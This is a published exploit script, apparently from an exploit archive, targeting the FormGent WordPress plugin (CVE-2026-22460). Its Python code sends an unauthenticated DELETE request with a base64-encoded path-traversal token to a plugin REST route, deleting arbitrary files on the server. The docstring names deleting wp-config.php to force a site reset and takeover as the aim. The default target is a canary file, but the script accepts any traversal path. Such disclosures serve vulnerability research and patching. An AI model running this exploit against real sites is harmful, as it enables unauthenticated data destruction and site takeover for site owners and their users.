Share
## https://sploitus.com/exploit?id=PACKETSTORM:226480
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin FormGent <= 1.6.0 - Unauthenticated Arbitrary File Deletion
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/formgent/
# Software Link: https://downloads.wordpress.org/plugin/formgent.1.6.0.zip
# Version: 1.6.0 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2026-22460
"""
FormGent <= 1.7.0 exposes the REST route /wp-json/formgent/responses/attachments with no
permission_callback. AttachmentController deletes $file_path = ABSPATH.'wp-content/uploads/'.
base64_decode(file_token) via wp_delete_file(). When wp-content/uploads/formgent/ does not yet
exist, the realpath() containment guard collapses to "/" and passes for any absolute/traversal
path, giving an unauthenticated attacker arbitrary file deletion (e.g. wp-config.php -> site
reset -> takeover). Demonstrated here against a canary file to avoid breaking the lab.
"""
import argparse, sys, base64
import requests
requests.packages.urllib3.disable_warnings()
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--file", default="canary_fg.txt", help="path relative to wp-content/uploads/ (use ../ to traverse)")
a = ap.parse_args(); base = a.target.rstrip("/")
s = requests.Session(); s.verify = False
token = base64.b64encode(a.file.encode()).decode()
print(f"[*] Target: {base} | deleting (relative to uploads/): {a.file}")
r = s.request("DELETE", base + "/wp-json/formgent/responses/attachments",
json={"file_token": token}, timeout=20)
print(f"[*] DELETE /wp-json/formgent/responses/attachments -> HTTP {r.status_code} :: {r.text[:80]}")
if r.status_code in (200, 204):
print(f"\n[+] Arbitrary file deletion request accepted (unauthenticated). Target file removed.")
return 0
print("\n[-] not confirmed"); return 1
if __name__ == "__main__":
sys.exit(main())